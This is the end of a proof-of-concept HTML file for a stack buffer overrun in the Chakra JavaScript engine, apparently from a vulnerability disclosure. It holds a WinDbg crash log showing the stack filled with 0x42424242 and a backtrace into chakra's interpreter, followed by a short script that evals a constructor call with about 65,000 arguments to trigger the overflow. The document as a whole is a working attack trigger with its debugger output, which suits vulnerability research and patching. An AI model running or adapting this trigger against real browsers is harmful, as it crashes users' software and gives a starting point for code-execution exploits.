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00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
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00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
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00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
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00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
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00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
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00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
0:016> g
STATUS_STACK_BUFFER_OVERRUN encountered
(1590.b70): Break instruction exception - code 80000003 (first chance)
KERNELBASE!UnhandledExceptionFilter+0x85960:
00007ffe`9e61c120 cc int 3
0:016> kb
RetAddr : Args to Child : Call Site
00007ffe`811c726a : 00007ffe`814f2820 00007ffe`814f2820 000000d8`b83f9e70 000000d8`b83f9e70 : KERNELBASE!UnhandledExceptionFilter+0x85960
00007ffe`811c73f9 : 00007ffe`00000000 00007ffe`80f50000 00007ffe`8160e2f0 00007ffe`816c6ea4 : chakra!_raise_securityfailure+0x1a
00007ffe`811cac98 : 000100d8`fa7ddce2 00007ffe`a1eb92e2 00007ffe`8102aeac 000000d8`00000000 : chakra!_report_gsfailure+0x169
00007ffe`a1f4a08d : 00000000`00000000 000000d8`b83f8eb0 00000000`00000000 00000000`00000000 : chakra!_GSHandlerCheck_EH+0x38
00007ffe`a1eb9c58 : 00000000`00000000 00000000`00000000 000002aa`8312dc00 00000000`00000000 : ntdll!RtlpExecuteHandlerForException+0xd
00007ffe`a1f4910e : 000002aa`8315fbc0 00007ffe`a1ec9f66 000002aa`98205cbb 000000d8`b83f9538 : ntdll!RtlDispatchException+0x368
00007ffe`8133ba8d : 000002aa`8312a270 000002aa`9820003d 000002aa`8312a270 00000000`00000000 : ntdll!KiUserExceptionDispatcher+0x2e
00007ffe`8120a2a5 : 000000d8`b83f9d20 000002aa`98205cbb 000000d8`b83f9c60 000002aa`98205cbb : chakra!Js::InterpreterStackFrame::ProcessUnprofiledLargeLayoutPrefix+0xd5d
00007ffe`810fa321 : 000000d8`b83f9d20 00000000`00000000 00000000`00000000 00000000`00000000 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x10fec5
00007ffe`8102aeac : 000000d8`b83f9d20 000002aa`96ad0000 000000d8`b83f9ea0 000002aa`8312dc00 : chakra!Js::InterpreterStackFrame::Process+0x1b1
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4ac
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
-->
<html>
<head>
<title> POC </title>
</head>
<script>
var a = '0x42424242,'.repeat(0xFFFF-2);
var b = "function Car(){} var car = new Car(a,"+a+"a);";
eval(b);
</script>
</html>
